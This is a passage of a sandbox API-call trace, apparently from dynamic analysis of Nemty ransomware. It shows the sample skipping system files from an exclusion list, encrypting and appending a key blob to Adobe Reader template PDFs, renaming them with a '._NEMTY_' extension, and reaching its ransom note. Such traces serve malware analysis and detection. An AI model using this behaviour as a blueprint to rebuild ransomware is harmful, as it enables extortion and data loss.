lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.598] Sleep (dwMilliseconds=0x5) [0171.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19efbb10, dwHighDateTime=0x1d561e8)) [0171.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19efbb10, dwHighDateTime=0x1d561e8)) [0171.613] GetLastError () returned 0xb7 [0171.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.613] GetLastError () returned 0xb7 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.614] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.614] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.614] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.614] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="voLh51W42CnhqzDqu2i1S+BBTZrA2Y1QUK9dUFLFvQiA87tClMd2jMefUK6mC3h4\r\nElkHORc/0grGCcilC7BFzqsTtihAsqATOu/nesgtZYih44bEfAEoKyHyxDaaS5q9\r\nurnELki7hupVVcC3U0NeWmvHtQc41Vy3ZXzYJEd6jIDcY32vE9sjppzR4te7y70i\r\najVD54Lq5OmtH0+sgmRi1sB6xNB2nBBEbZPxnB3qqjwCCffHZMG5D05BpWlzUgxH\r\net0CBUW9WtFhnI9ftOMxDbBmljZDjDMFLSNxUqCaZPZaYJX339dEUOWeDto02ihj\r\nQvnkMnbEtPgzC4OixCGpjA==\r\n", pcchString=0x653e5dc) returned 1 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.614] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17333) returned 1 [0171.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x43b0) returned 0x6352c48 [0171.614] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.614] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x43b0, lpOverlapped=0x0) returned 1 [0171.617] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.617] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x43b0, lpOverlapped=0x0) returned 1 [0171.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.617] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=17333, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43b5 [0171.617] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.618] CloseHandle (hObject=0x3b0) returned 1 [0171.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.618] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.620] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.620] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.621] Sleep (dwMilliseconds=0x5) [0171.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f21c70, dwHighDateTime=0x1d561e8)) [0171.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f21c70, dwHighDateTime=0x1d561e8)) [0171.629] GetLastError () returned 0x0 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.629] GetLastError () returned 0x0 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.629] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.629] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.629] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.629] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="tYHfCgik9sP3bXBBQCPf+3uhCED1kw5D7OVV0uOAvXXR1TYer4GWNacT5b23WfjW\r\nDkurRHoyoAWWVMQa/gkRfdLsgq/vzWj+qdl3EkNTQK0eVHk9DLZQJb2IXFSs3bzj\r\ni3zQOQge14+I4EFfqq5TVKZS9/oXdb7h/oHMKiwV0qJNRSNy9JBAtO7cF7/qgNTE\r\n8W2xFoXTx8dA5U2FyH/SUcqRMMoQ4o6AKc/73cvT/JQ1Ozkoa11x2zY5Nv42Mws0\r\nDEInn6tz7teG5hdjd5uSxJAsrkp4a9nzC4CGEevhBJ/292iRhUuYihPEsP1vB8HQ\r\ng9p1TOi0EUFSsdf01d23Mg==\r\n", pcchString=0x653e5dc) returned 1 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.630] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.630] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16021) returned 1 [0171.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e90) returned 0x6352c48 [0171.630] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.630] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e90, lpOverlapped=0x0) returned 1 [0171.632] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.633] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e90, lpOverlapped=0x0) returned 1 [0171.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.633] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=16021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e95 [0171.633] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.633] CloseHandle (hObject=0x3b0) returned 1 [0171.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.633] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.634] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19eaf850, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19eaf850, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19eaf850, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 